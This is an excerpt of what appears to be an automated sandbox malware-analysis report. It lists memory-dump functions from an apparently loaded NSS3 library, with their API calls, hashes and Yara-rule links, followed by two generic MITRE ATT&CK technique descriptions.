Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: Destroy$Certificate$CriticalEnterPublicSectionUnlockValuefree
String ID:
API String ID: 358400960-0
Opcode ID: 874e79ee5e137e55f5da600d91aaac39066736b8b8ff0d71c8a66b58032ed4c7
Instruction ID: 7d55265d6f415e676b3ecd36e8c1a4f3b763de7622c65297b61efcbd8aa4f95d
Opcode Fuzzy Hash: 874e79ee5e137e55f5da600d91aaac39066736b8b8ff0d71c8a66b58032ed4c7
Instruction Fuzzy Hash: A30170B1A107405BEB20CF36A90875377E8AF54658F100A28E89DD7B41F735F158C692

Function 6CB3AC70 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

PR_DestroyMonitor.NSS3(000A34B6,00000000,00000678,?,6CB25F17,?,?,?,?,?,?,?,?,6CB2AAD4), ref: 6CB3AC94
PK11_FreeSymKey.NSS3(08C483FF,00000000,00000678,?,6CB25F17,?,?,?,?,?,?,?,?,6CB2AAD4), ref: 6CB3ACA6
free.MOZGLUE(20868D04,?,?,?,?,?,?,?,?,6CB2AAD4), ref: 6CB3ACC0
free.MOZGLUE(04C48300,?,?,?,?,?,?,?,?,6CB2AAD4), ref: 6CB3ACDB

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: free$DestroyFreeK11_Monitor
String ID:
API String ID: 3989322779-0
Opcode ID: 211f5d9de75c901d6cfa5dc552e4225f032d6eb5d7767469770ac8a430f7bfe1
Instruction ID: c3fa6c26a803d6be8f6a40e700c5f2b2225e140bdb512a5ccc2d4f394d70a374
Opcode Fuzzy Hash: 211f5d9de75c901d6cfa5dc552e4225f032d6eb5d7767469770ac8a430f7bfe1
Instruction Fuzzy Hash: 0E018CB1601B619BEB50DF69ED08743B7E8FF44A99B504839D85EC3A00E730F458CB91

Function 6CAE88E0 Relevance: 6.0, APIs: 4, Instructions: 47COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,?,?,6CAF08AA,?), ref: 6CAE88F6
EnterCriticalSection.KERNEL32(?,?,?,?,6CAF08AA,?), ref: 6CAE890B
PR_NotifyCondVar.NSS3(?,?,?,?,?,6CAF08AA,?), ref: 6CAE8936
PR_Unlock.NSS3(?,?,?,?,?,6CAF08AA,?), ref: 6CAE8940

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: CondCriticalEnterNotifySectionUnlockValue
String ID:
API String ID: 959714679-0
Opcode ID: 02f88ec58180e247f396b90256655a0472c7c18e7b548ab9b32759bc98329e68
Instruction ID: 8811c65f6148f696662b5960ffbe2c7742c6ebb37b2dd5e0c1d2cc3cf547a1d7
Opcode Fuzzy Hash: 02f88ec58180e247f396b90256655a0472c7c18e7b548ab9b32759bc98329e68
Instruction Fuzzy Hash: 630140B5A056059FDB00AFBDD484659BBF4FF09398F054A2AD89887B00E730E4E4CBD2

Function 6CAF24E0 Relevance: 6.0, APIs: 4, Instructions: 46memoryCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(0000FDE9,00000000,6CACC154,000000FF,00000000,00000000,00000000,00000000,?,?,6CACC154,?), ref: 6CAF24FA
PORT_Alloc_Util.NSS3(00000000,?,6CACC154,?), ref: 6CAF2509

Part of subcall function 6CAF0BE0: malloc.MOZGLUE(6CAE8D2D,?,00000000,?), ref: 6CAF0BF8
Part of subcall function 6CAF0BE0: TlsGetValue.KERNEL32(6CAE8D2D,?,00000000,?), ref: 6CAF0C15

MultiByteToWideChar.KERNEL32(0000FDE9,00000000,00000000,000000FF,00000000,00000000,?), ref: 6CAF2525
free.MOZGLUE(00000000), ref: 6CAF2532

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: ByteCharMultiWide$Alloc_UtilValuefreemalloc
String ID:
API String ID: 929835568-0
Opcode ID: 751f34799c0f5cc8160a826b5b56a218d5a6a47ec67bd7aeeaf17136a0e98ebb
Instruction ID: 2ddd56b5759de25ef235145b806590b922f5b9b0cebe41d4244e19304834a51d
Opcode Fuzzy Hash: 751f34799c0f5cc8160a826b5b56a218d5a6a47ec67bd7aeeaf17136a0e98ebb
Instruction Fuzzy Hash: 5FF096B230616137FA2029FA6C19E773DADDB45AF8B180331BD38C66C0D964CC4281F1

Function 6CB3AC00 Relevance: 6.0, APIs: 4, Instructions: 45COMMON

Download Yara Rule

APIs

PK11_FreeSymKey.NSS3(?,6CB25D40,00000000,?,?,6CB16AC6,6CB2639C), ref: 6CB3AC2D

Part of subcall function 6CADADC0: TlsGetValue.KERNEL32(?,6CABCDBB,?,6CABD079,00000000,00000001), ref: 6CADAE10
Part of subcall function 6CADADC0: EnterCriticalSection.KERNEL32(?,?,6CABCDBB,?,6CABD079,00000000,00000001), ref: 6CADAE24
Part of subcall function 6CADADC0: PR_Unlock.NSS3(?,?,?,?,?,?,6CABD079,00000000,00000001), ref: 6CADAE5A
Part of subcall function 6CADADC0: memset.VCRUNTIME140(85145F8B,00000000,8D1474DB,?,6CABCDBB,?,6CABD079,00000000,00000001), ref: 6CADAE6F
Part of subcall function 6CADADC0: free.MOZGLUE(85145F8B,?,?,?,?,6CABCDBB,?,6CABD079,00000000,00000001), ref: 6CADAE7F
Part of subcall function 6CADADC0: TlsGetValue.KERNEL32(?,6CABCDBB,?,6CABD079,00000000,00000001), ref: 6CADAEB1
Part of subcall function 6CADADC0: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,6CABCDBB,?,6CABD079,00000000,00000001), ref: 6CADAEC9

PK11_FreeSymKey.NSS3(?,6CB25D40,00000000,?,?,6CB16AC6,6CB2639C), ref: 6CB3AC44
SECITEM_ZfreeItem_Util.NSS3(8CB6FF15,00000000,6CB25D40,00000000,?,?,6CB16AC6,6CB2639C), ref: 6CB3AC59
free.MOZGLUE(8CB6FF01,6CB16AC6,6CB2639C,?,?,?,?,?,?,?,?,?,6CB25D40,00000000,?,6CB2AAD4), ref: 6CB3AC62

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: CriticalEnterFreeK11_SectionValuefree$Item_UnlockUtilZfreememset
String ID:
API String ID: 1595327144-0
Opcode ID: 1329be8462e60618d27fa4339b9e110a519a59cf7c211cc7161d3df0f6d5635f
Instruction ID: 7eb3c589e4db47964a3ff0fe6e9b9485135f8074beb13bf234dfce66a4b27df1
Opcode Fuzzy Hash: 1329be8462e60618d27fa4339b9e110a519a59cf7c211cc7161d3df0f6d5635f
Instruction Fuzzy Hash: 810128B56002149BDF10DF55EDC0B467BA8EB88B58F688068E9498F746D735E848CBA2

Function 6CB20840 Relevance: 6.0, APIs: 4, Instructions: 45COMMON

Download Yara Rule

APIs

PR_CallOnce.NSS3(6CBF2F88,6CB20660,00000020,00000000,?,?,6CB22C3D,?,00000000,00000000,?,6CB22A28,00000060,00000001), ref: 6CB20860

Part of subcall function 6CA14C70: TlsGetValue.KERNEL32(?,?,?,6CA13921,6CBF14E4,6CB5CC70), ref: 6CA14C97
Part of subcall function 6CA14C70: EnterCriticalSection.KERNEL32(?,?,?,?,6CA13921,6CBF14E4,6CB5CC70), ref: 6CA14CB0
Part of subcall function 6CA14C70: PR_Unlock.NSS3(?,?,?,?,?,6CA13921,6CBF14E4,6CB5CC70), ref: 6CA14CC9

TlsGetValue.KERNEL32(00000020,00000000,?,?,6CB22C3D,?,00000000,00000000,?,6CB22A28,00000060,00000001), ref: 6CB20874
EnterCriticalSection.KERNEL32(00000001), ref: 6CB20884
PR_Unlock.NSS3 ref: 6CB208A3

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: CriticalEnterSectionUnlockValue$CallOnce
String ID:
API String ID: 2502187247-0
Opcode ID: 6d6e8150f125069645c641ab98dc19b950b1a2a7154b0797792f30cf53895344
Instruction ID: 3c851ba12f0d6d6a086f533a71f4e429d11f3e9213a91fd21ae23fdb2898d1f4
Opcode Fuzzy Hash: 6d6e8150f125069645c641ab98dc19b950b1a2a7154b0797792f30cf53895344
Instruction Fuzzy Hash: AA012B75A142C46BFF012F68FC55ABA7B38EB5631EF080671EC1C57B02EB25949487E2

Function 6CBACC50 Relevance: 6.0, APIs: 4, Instructions: 29COMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32(?), ref: 6CBACC61
free.MOZGLUE ref: 6CBACC6E
DeleteCriticalSection.KERNEL32(?), ref: 6CBACC80
free.MOZGLUE(?), ref: 6CBACC87

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: CriticalDeleteSectionfree
String ID:
API String ID: 2988086103-0
Opcode ID: 1a34f92c2ff6f98c87bbfc137142232f2222cf71ca3a43e110b10e4ecafb2777
Instruction ID: d8d0b7fa0fd10382be35d3f472cd50537223075c66ddfc409e2816c0b26b5ad1
Opcode Fuzzy Hash: 1a34f92c2ff6f98c87bbfc137142232f2222cf71ca3a43e110b10e4ecafb2777
Instruction Fuzzy Hash: 1EE030767006189BCA10EFA8DC448867BACEE4D6B03150525E691C3700D231F905CBA1

Function 6CAE4D10 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 106COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE001,00000000), ref: 6CAE4D57
PR_snprintf.NSS3(?,00000008,%d.%d,?,?), ref: 6CAE4DE6

Strings

%d.%d, xrefs: 6CAE4DDE

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: ErrorR_snprintf
String ID: %d.%d
API String ID: 2298970422-3954714993
Opcode ID: a00dc45f3256bcfaa01c20661c51ebaadec4080f83db8e4750eaae7da99a7bf0
Instruction ID: 0b1c819a232bf3217272c8b111179b5f4912d4419a6de26a6eb681fe894a0d57
Opcode Fuzzy Hash: a00dc45f3256bcfaa01c20661c51ebaadec4080f83db8e4750eaae7da99a7bf0
Instruction Fuzzy Hash: 60310AB2E002586BEB109BA59C45BFF776CEF44308F050469ED159B781EB309949DBE2

Function 6CB80900 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 56COMMON

Download Yara Rule

APIs

sqlite3_value_text.NSS3(?), ref: 6CB80917
sqlite3_value_text.NSS3(?), ref: 6CB80923

Part of subcall function 6CA413C0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,6CA12352,?,00000000,?,?), ref: 6CA41413
Part of subcall function 6CA413C0: memcpy.VCRUNTIME140(00000000,6CA12352,00000002,?,?,?,?,6CA12352,?,00000000,?,?), ref: 6CA414C0

Strings

error in %s %s%s%s: %s, xrefs: 6CB80944

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: sqlite3_value_text$memcpystrlen
String ID: error in %s %s%s%s: %s
API String ID: 1937290486-1007276823
Opcode ID: 11a752aab09ce1a992f6d6a4e2bb25342d65b8e076f7a6ceb61995039463f397
Instruction ID: 5bc6e73757c6ba4294ad6d9d5757b26909e86f2f88544bd972e6d66fd9089faf
Opcode Fuzzy Hash: 11a752aab09ce1a992f6d6a4e2bb25342d65b8e076f7a6ceb61995039463f397
Instruction Fuzzy Hash: 3B0108B6E001445BEB019F58FC01ABA7B75EFC5258F144028ED585B711F732AD6887A2

Function 6CB2AF70 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 41COMMON

Download Yara Rule

APIs

PR_GetUniqueIdentity.NSS3(SSL), ref: 6CB2AF78

Part of subcall function 6CA8ACC0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CA8ACE2
Part of subcall function 6CA8ACC0: malloc.MOZGLUE(00000001), ref: 6CA8ACEC
Part of subcall function 6CA8ACC0: strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6CA8AD02
Part of subcall function 6CA8ACC0: TlsGetValue.KERNEL32 ref: 6CA8AD3C
Part of subcall function 6CA8ACC0: calloc.MOZGLUE(00000001,?), ref: 6CA8AD8C
Part of subcall function 6CA8ACC0: PR_Unlock.NSS3 ref: 6CA8ADC0
Part of subcall function 6CA8ACC0: PR_Unlock.NSS3 ref: 6CA8AE8C
Part of subcall function 6CA8ACC0: free.MOZGLUE(?), ref: 6CA8AEAB

memcpy.VCRUNTIME140(6CBF3084,6CBF02AC,00000090), ref: 6CB2AF94

Strings

SSL, xrefs: 6CB2AF73

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: Unlock$IdentityUniqueValuecallocfreemallocmemcpystrcpystrlen
String ID: SSL
API String ID: 2424436289-2135378647
Opcode ID: 027cf0ffb64ca2c49267bf937ad146353700c4e3fd6f9374da548ea7f4ba84f7
Instruction ID: f7a277fe31a1e1efa754cc193cdbcbf5193f047904a086847f53f107319a2278
Opcode Fuzzy Hash: 027cf0ffb64ca2c49267bf937ad146353700c4e3fd6f9374da548ea7f4ba84f7
Instruction Fuzzy Hash: 9A214EB2205AC8AADB00DF71B547B327A79B302348B10510AC13E4BB28DB3990499FD7

Function 6CA80F00 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 16COMMON

Download Yara Rule

APIs

PR_GetPageSize.NSS3(6CA80936,FFFFE8AE,?,6CA116B7,00000000,?,6CA80936,00000000,?,6CA1204A), ref: 6CA80F1B

Part of subcall function 6CA81370: GetSystemInfo.KERNEL32(?,?,?,?,6CA80936,?,6CA80F20,6CA80936,FFFFE8AE,?,6CA116B7,00000000,?,6CA80936,00000000), ref: 6CA8138F

PR_NewLogModule.NSS3(clock,6CA80936,FFFFE8AE,?,6CA116B7,00000000,?,6CA80936,00000000,?,6CA1204A), ref: 6CA80F25

Part of subcall function 6CA81110: calloc.MOZGLUE(00000001,0000000C,?,?,?,?,?,?,?,?,?,?,6CA80936,00000001,00000040), ref: 6CA81130
Part of subcall function 6CA81110: strdup.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,6CA80936,00000001,00000040), ref: 6CA81142
Part of subcall function 6CA81110: PR_GetEnvSecure.NSS3(NSPR_LOG_MODULES,?,?,?,?,?,?,?,?,?,?,?,?,?,6CA80936,00000001), ref: 6CA81167

Strings

clock, xrefs: 6CA80F20

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: InfoModulePageSecureSizeSystemcallocstrdup
String ID: clock
API String ID: 536403800-3195780754
Opcode ID: 459ce762f7e66ba8e191c8eb1f3f4bfd2fd3d350bb05eb56831e9261ceb3de35
Instruction ID: 2dde1b4767baea25bfc693060eb67030854945c4ffa5f46e75edc206a0d24139
Opcode Fuzzy Hash: 459ce762f7e66ba8e191c8eb1f3f4bfd2fd3d350bb05eb56831e9261ceb3de35
Instruction Fuzzy Hash: 91D0123270518857C9116667AC45FB6B6BCD7C3679F105C36E33C42E104A6490DED267

Function 6CAF0DB0 Relevance: 5.1, APIs: 4, Instructions: 97COMMON

Download Yara Rule

APIs

calloc.MOZGLUE ref: 6CAF0DF5
TlsGetValue.KERNEL32 ref: 6CAF0E2D
TlsGetValue.KERNEL32 ref: 6CAF0E58
TlsGetValue.KERNEL32 ref: 6CAF0E84

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: Value$calloc
String ID:
API String ID: 3339632435-0
Opcode ID: 5b5254f9bf48210b4c53eb42b72938b67f366d2fd13be283498988cd9fdc80c8
Instruction ID: 9bc2893ca29a5acb23947e5a019882039b3da2a321b5d36d6f51ebb07e15a602
Opcode Fuzzy Hash: 5b5254f9bf48210b4c53eb42b72938b67f366d2fd13be283498988cd9fdc80c8
Instruction Fuzzy Hash: 9D31C4B16467818FDB106F78D9856697BB4FF0A348F054669E8A887B11EB34D0C6CB82

Function 6CA4A4E0 Relevance: 5.1, APIs: 4, Instructions: 75stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,6CA4A468,00000000), ref: 6CA4A4F9
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,6CA4A468,00000000), ref: 6CA4A51B
strlen.API-MS-WIN-CRT-STRING-L1-1-0(6CA4A468,?,6CA4A468,00000000), ref: 6CA4A545
memcpy.VCRUNTIME140(00000001,6CA4A468,00000001,?,?,?,6CA4A468,00000000), ref: 6CA4A57D

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: strlen$memcpy
String ID:
API String ID: 3396830738-0
Opcode ID: 600eb8a033a5ca9a43437b08be08586c367961074f3215d643a34829541b8b4a
Instruction ID: fc3691b465893ceba35aab43ef9904d5b908b8e0d53f3d7674f55da2f12ce34f
Opcode Fuzzy Hash: 600eb8a033a5ca9a43437b08be08586c367961074f3215d643a34829541b8b4a
Instruction Fuzzy Hash: 0D1136B3D0035557DB0089F99C81AAF77AA9F95268F288234ED6487780F2359D4983E2

Function 6CAF0F10 Relevance: 5.1, APIs: 4, Instructions: 52stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000,?,?,6CA92AF5,?,?,?,?,?,6CA90A1B,00000000), ref: 6CAF0F1A
malloc.MOZGLUE(00000001), ref: 6CAF0F30
memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6CAF0F42
TlsGetValue.KERNEL32 ref: 6CAF0F5B

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: Valuemallocmemcpystrlen
String ID:
API String ID: 2332725481-0
Opcode ID: c84dc376fae1e8be4c9e12b5ac8d5bd3a681762f6c76d0908887e97c8daa8ac7
Instruction ID: 04ceaca63fcdecb6743dc9563161133a92af00098821a3d49452a9595a743119
Opcode Fuzzy Hash: c84dc376fae1e8be4c9e12b5ac8d5bd3a681762f6c76d0908887e97c8daa8ac7
Instruction Fuzzy Hash: 1801DDB1A012D05BFB101779DE4456A7A6CEF52299F050165FC68C3A11D731C49687E2

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

